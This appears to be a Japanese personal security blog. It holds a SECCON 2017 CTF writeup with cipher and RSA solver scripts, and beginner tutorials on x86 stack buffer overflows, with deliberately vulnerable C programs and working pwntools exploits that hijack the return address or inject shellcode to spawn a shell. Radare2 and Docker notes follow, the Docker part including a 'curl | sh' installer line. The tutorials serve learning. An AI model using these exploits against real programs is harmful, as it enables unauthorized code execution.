hiziriAI’s blog

自分用雑記

SECCON CTF 2017 Quals writeup

チームで参加できたのでたくさん解けた。 僕が解いたのはputchar_music, vigenere3d, ps_and_qsの3つ。 チームは200位くらい。

コードはここ

putchar music

映画のタイトル当てろという問題。 TLにこの時点で分かってる人いて笑った。

Cのワンライナーが降ってくるので取り敢えずコンパイルmath.hがいるっぽいのでリンクすれば警告は出るがちゃんと動くプログラムが出力される。 実行すると無限ループしてバイナリを吐き出す。

タイトルにmusicとあるので、おそらく生の音声データか何かだろうと当たりを付けた。 linuxで実行できるとあったので多分コマンドラインで標準入力から音声データ受け付けるようなプレイヤーがあるんだろうなと決めつけて調べた。 すると、どうもplayaplayがあるらしいことが分かった。 とりあえずaplayの方にパイプしてみると、8bitっぽい音楽が流れはじめた。

これで解ける!と思いきや、ここで問題発生。 まったく分からん。音楽のタイトルを調べてくれるサービスなんかも当たってみたが劣化してるのでヒットしない。 これはもうどうしようもないと思ってしばらくBGMにして流してた。 知ってそうなメンバーとありそうな候補話してるうちに正解を思い出した。 というわけで解けました。

こういう問題どうかと思います!(スターウォーズ見てない人)

vigenere3d

ウ゛ィジュネル暗号の置換表をさらにもう1次元拡張して用いるようになってる暗号化スクリプトが降ってくる。 スクリプト中に置換表生成部分が残っている。 また、暗号化するのに使う鍵が2つあるが、どうも1つの鍵を逆順にして用いてるらしい。 1つの鍵を使い回すのは大抵の場合よろしくない。

こういう換字式暗号は平文の一部が分かっていると対応する鍵が特定できたりする。 この暗号もそんな感じになっていて、平文か鍵のうちどちらかが特定できると、対応する暗号文の文字になるような平文の文字と鍵の文字の組み合せが特定できる(はず)。 正確に元の鍵とは一致しないけど違う鍵でも同じように復号されるようになるはずなので問題ないんじゃあないかな。

そして、平文の先頭は"SECCON{"になっていて、2つ目の鍵には1つ目の鍵が逆順になっているものが使われるので、鍵の先頭と末尾の7文字が特定可能になっていることになる。 そして伏せ字の数からして鍵の長さは14、つまり全部分かる。

解読用スクリプトはこれ。

import sys


def _l(idx, s):
    return s[idx:] + s[:idx]


s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [ [_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]

cipher = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
k1_len = 14
k2_len = 14


# first seven chars is SECCON{, so I can decrypto key's first seven and last seven.

s.find('S')


def specify_key(plain_char, cipher_char):
    table = t[s.find(plain_char)]

    for i in range(len(s)):
        for j in range(len(s)):
            if table[i][j] == cipher_char:
                return (i, j)


def get_key():
    p = 'SECCON{'
    c = cipher[:7]
    former = ''
    latter = ''

    for p_ch, c_ch in zip(p, c):
        f_i, l_i = specify_key(p_ch, c_ch)
        former += s[f_i]
        latter += s[l_i]

    return (former, latter)

def decrypto(cipher, key):
    k1 = key
    k2 = key[::-1]
    i1 = 0
    i2 = 0
    plain = ''

    for a in cipher:
        for index, table in enumerate(t):
            if table[s.find(k1[i1])][s.find(k2[i2])] == a:
                plain += s[index]
                break
        i1 = (i1 + 1) % len(k1)
        i2 = (i2 + 1) % len(k2)

    return plain

key = 'AAAAAAA_aZ2PK_'
# gocha! 'SECCON{Welc0me_to_SECCON_CTF_2017}'

PS and QS

RSA問題。

降ってくるのはpemファイルだったのでopenssl使って表示させた。 使い方憶えないとなぁ。

この時点で異なる公開鍵2つと暗号文1つが手に入る。 nは4096bitで単純に素因数分解はできそうになく、eは共通でよくある値(0x10001)だった。

この時点で出来そうな攻撃というとgcdかな?と思い試してみることにした。 2つのnが同じ素数を使っていた場合はこれで特定できる。 gcdはかなり効率が良いアルゴリズムがあって、大抵の実装はこのアルゴリズムなのでお手持ちの言語でgcdしてみる。 するとどうやら素数を使い回してるらしかった。

あとは単純な整数の割り算で他の素数も算出でき、2つの素数とeがあれば秘密鍵dを計算できる。 この計算はmodの逆元計算になるので、拡張gcdかなにかのアルゴリズムで解ける。 pythonならgmpyか何かに実装されている。

これで秘密鍵が分かったので、復号するだけである。 復号してみると、片方では最後の方にフラグが表示されていた。 解けた。

しかしこれ見落とすだろう、もう少し解けたことが分かりやすくならんかね。 フラグも適当に入れたら取れちゃいました!ってどこかのチームがやってそうなフラグだったし。

使ったスクリプトは以下。

(defparameter n1 #x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd)

(defparameter n2 #xBB33CC7FCC8ECAF3BF9ED95C583792E1EC6B80EE875EC2064DBCF07595C8344923BF536524D4E0A75574C7798C73B197DD2B1B42054B1E49CB45FBF04E6F114CF8A365C3DF3645524F778268038A3FA26802E9D1EDBFBB5EDFB5A0C375370D7F10F57DABBD4F771DAD3632F01B9BCE10489966EE882DAB17A33B786AA5F73165A54051300B1DF9280392A3EDE9D3FC9C4D8A6A06351F6EF3598E8DE2B39D3B19AF64A1716CD15826C3F24CB13DEB722C3A03EF1D2BE2D0A5A6E210FF5D018367BE3BF99EA26BA006E5164A4DD55AABCD449DE5CE1864825DC160E50D509EB0E6FE723EF182681EDDB94084B83EC9E2E943E87CB87509AB0FD9B1CA22C1CEAFF39FCACF6729FC0E0578670D87D7F0F9CCBE09CB3E12CEB895572A9979D10BFDBFAFA260568D8DB184BE12B3E3193E07729CE3C1D9CD8283ED6983A06388036A0A70294F23392944778280E7DE9F60163A8150E30FF4A4EA02792CBE8305BAA2E99AFE51E17DAFC56BE0D384147BCD38E9D12934EC712622217773A4B3851A9B0C6C7C3E01F6111A1E1A557F4E2AE4A247CE9B75CCCCB1819825F3054AA1C055BD3E2340093AE2EF1D0FA5A176825EFDF79507027F5104080009142F0D43E2F10CFAD220813BBB9014D4F4325EDAC538FB5E82B753E2AD3B24607D7380AA64FCB98B59EA8B5A736B809383248CECE0B17255EA559E90127F778AF6D7E8A66DAD91)

(defparameter e #x10001)

(require 'sb-mpfr) ;; FIX:
(ql:quickload :hackrsa)

(defparameter p (hackrsa:gcd-attack n1 n2))

(defparameter q1 (/ n1 p))
(defparameter q2 (/ n2 p))

(defparameter d1 (hackrsa:private-key e p q1))
(defparameter d2 (hackrsa:private-key e p q2))

(defparameter cipher (with-open-file (in "cipher"
                     :element-type '(unsigned-byte 8))
               (let ((dec 0))
             (loop for b = (read-byte in nil nil)
                   if b
                 do (setf dec (+ (* dec (expt 2 8)) b))
                   else
                 do (return dec)))))

(defparameter p1 (hackrsa:decrypto cipher d1 n1))
(defparameter p2 (hackrsa:decrypto cipher d2 n2))

(print (hackrsa:decode-string p1))
(print (hackrsa:decode-string p2))

n1の方がフラグのある平文になる。

感想

pwn厳しい。

チームでやると盛り上るし、余裕もできるから楽しい。 ただ、カバーするやや範囲が被ってるために解けないジャンルが...

pwn基礎 バッファオーバーフロー3

前回の続き。

今度は関数を呼び出すのではなく自分で実行するべき命令を用意し、バッファオーバーフローを利用してその命令を実行する。 使ってるコードはココ

crackme

攻撃対象のコードはこれ。

// sudo sysctl -w kernel.randomize_va_space=0

#include <stdio.h>
#include <string.h>

void vuln_func(char** argv) {
  char buf[100] = {};  /* set all bytes to zero */
  
  printf("buf = %p\n", buf);
  strcpy(buf, argv[1]);
  puts(buf);
  
  return;
}

int main(int argc, char *argv[])
{
  vuln_func(argv);

  return 0;
}

コンパイルgcc -m32 -z execstack -fno-stack-protector -o overflow overflow.c

実行時に渡される引数をバッファにコピーして表示するプログラム。 解析する手間を省くため、バッファのアドレスを表示するようにしている。 ASLRなし、スタック実行可能なイージーモードでやる。

知っておくべきこと

マシンコード

マシンコードとは、コンピュータに命令することができる、あるいはするためのバイト列。 この世に存在する全てのプログラムは最終的にマシンコードとしてプロセッサによって実行される(はず)。 0と1の世界、コンパイルした実行ファイルの中身。

アーキテクチャによってどんなマシンコードなのかは違うので、x64をARMで実行したりは基本的にはできない。 とりあえずコンピュータによって直接実行されるのはマシンコードであるということを知っていれば十分だと思う。

pwnでプログラムを解析するときはマシンコードを逆アセンブルして、アセンブリコードを読むことになる。 アセンブリコードはマシンコードとおよそ一対一で対応している、人間の読める言葉で表現された命令だといえる。 pwnでは大抵はx86かx64のプログラムが降ってくるので、とりあえずx86系について分かるようになれば大半の問題に取り組むことができるようになる。 大量にある命令を全部知っておく必要はなく、頻出のいくつかの命令だけを憶えておいて、知らない命令はその都度検索するぐらいで十分である。 どちらかというと慣れの方が大事な気がする。 逆アセンブルには、radare2とかIDAとかobjdumpとかのツールが有名。 IDAは金払わないとx64の解析ができないけど、この中で一番性能がいいんじゃないかな。

shellcode

これまでバッファオーバーフローでeipを書き換えたりメモリ上の値を変えたりしてきた。 今回はマシンコードの命令を直接送りこみ、それを実行させて、シェルを起動する。 このようなシェルを起動するようなデータ列のことをシェルコードとよぶ。 実際は、脆弱性を突いて何か処理をさせる目的で送りこむデータ列のことを(シェルを起動させなくても)シェルコードといったりする。

exploit

exploitはこんな感じ。

# no ASLR
# no canary

from pwn import *

context(arch='i386', os='linux')

buf_addr = 0xffffcb9c # buf addr
offset = 112
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += "A" * (offset - len(shellcode))
payload += p32(buf_addr)

print(payload)

ここではシェルコードを書くことよりも実際に送信したデータを実行できることが分かればいいかなと思って、pwntoolsに収録されてるシェルを起動するシェルコードをそのまま使わせてもらった。 shellcraft.sh()'は文字列なので、どのような命令なのか知りたければ出力すれば見れる。 asm()`でアセンブルして、文字列の先頭に配置している。 リターンアドレスを書き換えるオフセットは前回の要領で、バッファのアドレスは一度実行してみて調べよう。 コマンドライン引数はスタックの最初の方で積まれるため、引数として渡す文字列の長さによって変わるので注意。 これでシェルを起動できる。

pwn基礎 バッファオーバーフロー2

前回の続き。

折角なので使っているコードとかをリポジトリにまとめておく。

サンプルコード

攻撃対象にするコード。

#include <stdio.h>
#include <unistd.h>

void shell() {
  char* args[] = {"/bin/sh", NULL};
  execve("/bin/sh", args,  NULL);
}

void echo() {
  char buf[0x100];

  fgets(buf, 0x200, stdin);

  puts(buf);

  return;
}

int main(int argc, char** argv){
  while(1) {
    echo();
  }
  ``
  return 0;
}

gcc -Wformat-security -fno-stack-protector -m32 -o overflow overflow.cでビルドしたものを使う。

今回はバッファオーバーフロー脆弱性を利用して、プログラム内の関数、shell()を呼び出してみる。

手順

脆弱性の発見

簡単なコードなのでぱっと見で分かると思うが、echo関数内のfgetsでバッファオーバーフローしている。 0x200文字の文字列を入力するとプログラムがSIGSEGVで落ちる。 このときどんな状態になっているかをgdb-pedaで確認してみる。 gdb overflowで普通にgdbを起動する。 文字列を入力するときは、pattc 0x200と入力すると0x200文字の文字列を自動的に生成してくれる。 runかrでプログラムを実行し、さきほど生成した文字列を入力してみる。

[----------------------------------registers-----------------------------------]
EAX: 0x200 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa5870 --> 0x0 
ESI: 0xf7fa4000 --> 0x1b1db0 
EDI: 0xf7fa4000 --> 0x1b1db0 
EBP: 0x64254148 ('HA%d')
ESP: 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
0004| 0xffffcb34 ("eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"...)
0008| 0xffffcb38 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs"...)
0012| 0xffffcb3c ("%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJ"...)
0016| 0xffffcb40 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA"...)
0020| 0xffffcb44 ("A%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5As"...)
0024| 0xffffcb48 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsg"...)
0028| 0xffffcb4c ("LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()

こんな感じになる、予想通りではあるがSIGSEGVで落ちている。注目するべきはeip、またはcodeセクションで表示されているメッセージである。 $PCまたはeipが指している値が不正なものになってしまったことがSIGSEGVの原因らしいことがメッセージから読み取れる。

eipの値が文字列として表示されているので気付いたと思うが、これは入力した文字列の一部である。 そして、eipは次に実行する命令へのポインタを意味するので、これは次に実行する命令の位置をこっちが好きなように指定できるということになる。 入力した文字列が本来のバッファのサイズを越えてリターンアドレスを書き換えてしまったので、echo関数からreturnするときにこのような不正な値になってしまったのである。

では、具体的に文字列のどのあたりがリターンアドレスに対応するのか? 文字列を少しずつ変化させてみていってもいいが、ここではpattoが使える。 patto A%3Aもしくはpatto 0x41332541で対応するオフセットが表示される。 ここでは268だった。 つまり、268文字目から4バイト分(32bit環境ではアドレスの長さ)がリターンアドレスとして設定される。 あとはここにshell関数の位置を設定してやればshell関数を呼び出せる。

アドレスの調査

では、shell関数のアドレスはどこになるのだろうか? PIEと呼ばれる防御機構があると実行されるコードの位置もランダムになるのだが、今回は無効になっているので、コードは全て固定されたアドレスに配置されている。 また、プログラムがstripされていなければシンボルの名前の情報は残っている。 今回は残っているという前提で、gdbp shellして得たアドレスを使う。

exploitの作成

pwntoolsを使う。 みんな使ってるので使う。

from pwn import *

trg = ELF('overflow')
retaddr = trg.symbols['shell']
offset = 268

payload = 'A' * offset
payload += p32(retaddr)

p = process('overflow')
p.sendline(payload)
p.interactive()

ここではpwntoolsの解析機能からshell関数のアドレスを取得している(trg.symbols['shell'])が、gdbから得た値を直接入れても構わない。 payloadが送信するデータになる。 まず最初にA268文字で先頭を埋め、リターンアドレスの位置にshell関数のアドレスを入れる。 大抵の環境ではリトルエンディアンにして数値を入れる必要があるので注意、といってもpwntoolsには自動でそれをやってくれるp32関数があるのでそれを使おう。 processでプログラムを実行し、送信、そしてシェルを起動する、という流れになる。

実行はpython exploit.pyでいい。

まとめ

たまにセキュリティ関連のニュースで任意のコードを実行可能な脆弱性とかでてくるけど、つまりはこんな感じにプログラムの制御を奪えるということなのである。

Radare2 メモ

控え目に言ってコマンドが分かりにくいandリファレンスが足りてないので自分用にメモ。

afvn old_name new_name @ func

func内のold_nameをnew_nameに変える。 デフォルトだとlocal_4hとかarg_4hとかになっているのでよほど短いコードか抜群の記憶力がないと動作を把握できないので解明は積極的にした方がいいと思う。

afn new_name old_name

関数の名前を変える。 何故か変数とは古い名前と新しい名前の順番が入れかわっているので混乱しがち。 その上変更に失敗してもエラーメッセージが表示されない(表示する機能ないんだろうか?)ので気づきにくい。 同じような機能で違うパターンを使うのは良くないUIだと思うんだけど、理由があるんだろうか?

f name = addr

アドレスにラベルを付ける。 調べてもさっぱりやり方がさっぱり分からなかったけど、ツイッターで凄い人達が言ってたのを見てようやく知った機能。 nameをobj.nameのようにピリオド区切りにしないと、そのアドレスを参照している箇所でラベルが反映されないので注意。 引数の値によって動作変えるのいくない。

Ps name

今解析しているプログラムの解析結果を保存する。 ラベルとか関数に付けた名前とかが保存される。 長すぎる関数は保存してロードしたときに壊れる可能性がある。 極力使わない方がいいかもしれないが代替案もない。

ロードしたときに関数の境界がおかしくなったときの解決策

afu end_addr @ function_addrで関数の終端を指定できる。 pdコマンドで終端を目で探してから、end_addrでretの次のアドレスを指定しないとend_addr自体は含まれない。

Po name

保存した解析結果をロードする。 r2コマンドの引数にnameを指定するとロードして起動するので、こっちの方を使うことが多いかもしれない。

r2 -p name

pwn基礎 バッファオーバーフロー1

自分自身の理解を深めるために、また後でまぬけにも分からなくなったときに参照できるようにするために、基本事項についてまとめておこう。 もしかしたら間違っているところ教えてもらえるかもしれない。

pwn バッファオーバフローを使った攻撃

x86を想定する。 他のアーキテクチャだと話が変わってくるかもしれない。 pwnでもっとも基本的な攻撃だと思われるバッファオーバーフローについてのメモ。

必要な知識

バッファオーバーフローがどのようにして発生し、どのようにして攻撃に利用するかを理解するために必要な知識。

関数呼び出しによるスタックの変化

関数呼び出しが行なわれると様々なお決まりの処理が行なわれる。 その中でも値がどのようにスタックに積まれるかは、様々なexploitで使える知識である。 スタックは下位の方向に積まれることに注意。 例えば、push命令が実行されるとespの値は減る、スタックの位置を戻すときはespに加算されることになる。

参考までに関数呼び出しされた直後に実行される命令は以下のような感じになる。 この例ではcanaryはなし。

 80484c4:    e8 92 ff ff ff         call   804845b <vuln> ; 1

0804845b <vuln>:
 804845b: 55                     push   ebp ; 2
 804845c: 89 e5                   mov    ebp,esp ; set current stack top to ebp.
 804845e: 81 ec 18 01 00 00       sub    esp,0x118 ; 4
 ...

以下の順番で値が積まれる。

  1. call命令の次の命令があるアドレスをスタックに積む、いわゆるリターンアドレス
  2. その時点でのebpをスタックに積む
  3. canaryを設定する、これがある場合バッファオーバフローが検出される
  4. ローカル変数があるなら、ここにそのための領域を確保する

スタックはこのような状態になる。

stack
4 (local var)
3 (canary)
2 ebp
1 return addr

()付きのものは場合によっては無いときもあるもの。

ebpを積むのは、関数を抜けるときに値を復元するためである。 どの時点で関数が呼ばれても引数やローカル変数に対して同じ命令、レジスタでアクセスできるように、ベースポインタを現在のスタックトップに設定する必要があるのでebpは変更される。

canaryを積むのは、バッファオーバーフローによる不正なスタックの書き換えを検出するためである。 大抵の場合乱数が使われ、先頭がNULLバイトになるようになっている。 canaryを書き換えてしまうと、バッファオーバーフローが検出され書き換えたリターンアドレスを実行させることができなくなる。 そのためcanaryがある場合にバッファオーバーフローさせるには、canaryの値を上書きしないように同じ値を書き込むようにしなければならない。 forkしたりしてもcanaryの値は同じままなので、そのような場合には一度canaryをリークさせてから再びその値を用いてオーバーフローさせることもできる。

関数からのreturn

関数からリターンするときの処理について。 大抵一番最後にleave; retの命令が出現する。 参考までに実際の命令。

 80484b1:    c9                       leave
 80484b2: c3                       ret

leave命令はespをebpに設定し、popしてebpに設定する。 つまりmov esp, ebp; pop ebpと等価である。 ebpは一番最初に設定したcall時のespになっている。 そしてそれは元のebpが格納されている位置を指している。 前の図でいうと2 ebpを指していることになる。 つまり、ebpを復元していることになる。またpopしたことでespはひとつ戻り、リターンアドレスの位置を指すようになる。

ret命令は細かい仕様が色々あるけど、通常はpop eipと同じだと思っていい。 つまり、現在のスタックトップに格納されている値の位置に命令カウンタを動かすという理解で十分である。 正しく実行されたならば、この時点でespはリターンアドレスを指しているため、関数呼び出しの次の命令がeipにセットされる。 そしてpopが実行されたことでespも復元される。

ちなみに返り値はたいていの場合eaxにセットされている。 ただし、これはコンパイラの生成するコードに依存するため、場合によっては違うレジスタを介して返り値を返したりしているバイナリもあるかもしれない。

バッファへの書き込み

C言語などでは、入力を受けとるときにfgetsを使うことができる。 宣言はman見た限りこんな感じ。

fgets(char* s, int size, FILE* stream);

動作としてはsにsizeバイトだけstreamから読み込むといった感じになる。 ここで一つ大きな問題がある。fgetsはsの大きさがsizeより小さいかどうかをチェックしないのである。(検出するツールなどは存在するらしい) では、sより大きなsizeを引数に渡すとどうなるのか? 答えは、単純に大きさを無視してメモリ上に書き込んでいくのである。

これで必要な知識は全て揃っているはず。

バッファオーバーフロー

書き換えの範囲

これで、fgetsなどでバッファのサイズをきちんと管理してないとバッファの大きさを無視してメモリに書き込んでしまうということが分かった。 このバッファがローカル変数の固定配列として宣言されていると考えてみよう。 このとき、スタックの4の位置にバッファが存在していることになる。 バッファに対する書き込みは低位から高位に向かって行なわれるため、図でいうところの下の方向に向かって書き込まれていくことになる。 これらのことを統合して考えると、バッファのサイズより書き込めるサイズが十分に大きいとき3、2、1全ての位置に任意の値を書き込めるということが分かる。 ただし、canaryは書き換えて違う値にしてしまうとバッファオーバーフローとして検知される。

また、単にバッファより先に確保された変数についても書き換えが可能である。

書き換えの範囲にある値

さらにここで、1が書き換え可能であるということを掘り下げる。 といっても単純なことで、リターンアドレスは関数から返った後に実行される命令の位置なので、リターンアドレスを書き換えられると任意の位置の命令を実行させられるよね?ということである。

これがいわゆる典型的なバッファオーバーフロー攻撃である。

デモ

簡単なオーバフローによる書き換えのデモ。 ここでは、オーバーフローによって関数内で定義されたローカル変数を変更することができるを試してみる。 bof脆弱性を含ませたコードは以下。

#include <stdio.h>

void vuln() {
  int flag = 0;
  char buf[256];

  fgets(buf, 300, stdin); // vulnerability here, you can write 300 chars to 256 len buffer.

  if (flag == 0) {
    printf("Failed!\n");
  } else {
    printf("You won FLAG!\n");
  }
}

int main(int argc, char** argv){
  vuln();
  return 0;
}

コンパイルするにはgcc -m32 -fno-stack-protector overflow.c -o overflow これで、x86のcanaryなしのバイナリがコンパイルされる。

main関数から一度呼び出しを挟んでいるのは、main関数だけ変なバリデーションのようなコードが生成されて上手くいかないときがあるので、それを避けるためで意味はないです。 vuln関数では、最初にflag = 0されているので、"Failed!"が表示されるはず。 しかし、バッファオーバーフローさせることでflagの値を書き換えることができるので、if文の分岐を変更させられる。 300文字のAとかを入力すれば、"You won FLAG!”が表示され、成功するはず。 これで、実際にバッファ配列とは無関係な値を変更し、プログラムの挙動を意図していないものに変更させられることが確認できると思う。

CBCTF2017の供養

参加したけど1問しか解けてない。 writeup書いても仕方ないような問題(Common modulus1)なので他の人に任せよう。 なので解くのに使った自分のスクリプト紹介をする。 lispで書いているのでroswellとemacsとslimeがあれば基本動く。 sbclしか想定していないけど、それ以外でも動くかもしれない。

ここにある。

基本的には暗号系の問題を解くのに使っている。 lispで書いていて、いくつかはquicklispのlocal-projectsに入れるなりリンク張るなりすれば簡単にロードできるようになる。 今回はrsaの中のhackrsaを使った。 いまのところ、common modulus attackとwiener attackはまともに動くはず。 今回の問題では計算に時間がかかり過ぎて解けなかったので、改善してあるのでそこそこ使えるはずだと思う。

基本的にはあちこちにpythonスクリプトがあるのでわざわざlispを憶えてまでこれを使う必要はない気がするが...

利点としては、組み込みで分数があり多倍長整数を扱えるため整数の演算では精度は落ちないこと、REPLでの評価がインデント崩れると死ぬpythonよりやりやすい気がすること、sbclならデフォルトでGMP、MPFRを使えたこと(終わってから気付いた)だろうか。 あと、コンパイルしたり型を指定してチェックしないようにしたりもできるので、pythonより高速に動かせる(とはいえ、速度が必要な場面でpythonは使わない気もするが)。

ここで紹介したし、もう少し使いやすくしようかな。READMEとか書いてテストも書いて。

Dockerまとめ

環境はCentOS7のはず。

インストール方法

curl -fsSL get.docker.com -o get-docker.sh
sh ./get-docker.sh

あるいは単にcurl -fsSL get.docker.com | shでもいいかもしれない。

Dockerの起動

systemctl start docker

Dockerの状態を確認するにはsystemctl status docker

サーバ起動時にDockerも起動する場合は systemctl enable docker

使い方

基本的にはgitやlinuxのコマンドを踏襲した名前のサブコマンドを使って管理する。 例えば、imageの一覧はdocker image lsのような感じになる。

コンテナの動かし方

イメージとコンテナがある。 イメージはコンテナの設計図のようなもので、何をインストールしてどのコマンドを実行するべきかなどの情報を持っているらしい。 一方コンテナは実際に稼動しているサービスのファイルシステムのようである。 イメージに従いコンテナを作りあげ、Dockerはそのコンテナの中でサービスを動かすといったような感じだろうか? 実際のコマンドは以下のような感じになる。

docker container run hello-world

hello-worldというのはリポジトリにある、Helloと表示するだけのDockerイメージである。 これを使ってDockerが使えるかどうか試せる。 他のイメージでもだいたい同じようにして動かせる。

Dockerではコンテナの実行が終了するとそのコンテナを破棄するらしい(実際はしばらくの間/var以下にあるっぽい)。 なので、データを保存したり次の実行時に使う場合には-vを使って共有する領域に書き出すようにするなどの工夫が必要になる。

イメージのダウンロード

どこかが用意したリポジトリから既に設定されたイメージを使うことができる。 基本的に動かそうとしたときにローカルにないなら自動的にダウンロードされることになる。

Dockerイメージの作り方

  • docker container commit
  • コンテナから作る方法、知らない
  • docker image build
  • Dockerfileから作る方法、教わった

Dockerfileはこんな感じになった。 FROMには元となるイメージ、このイメージの上に新しい皮を被せていく感じで構成していくことになる。 RUNはコンテナを構成するときに実行するコマンド、ソフトウェアのインストールとか。 CMDはコンテナとして実行されたときにデフォルトで実行するコマンド、hello-worldと自動で表示されたのはこれによるものだと思われる。

FROM base image
RUN running-command(like apt install something)
CMD defalut-running-command

ビルドするには以下のようにする。

docker image bulid -t image-name path"

dockerhubへのログイン

githubのようなサービスとして、イメージを共有できるdockerhubがある。 ログインしておくとイメージのアップロード、ダウンロードができるようになる。 ログインからアップロードまでの流れ。

docker login
docker image tag image-name:tag <user-name>/image-name:latest
docker image push <user-name>/image-name
docker logout

まとめ

後でもっと詳しく書く。 ほかにもいくつかのイメージをまとめたものをまとめて扱うといったようなこともできる。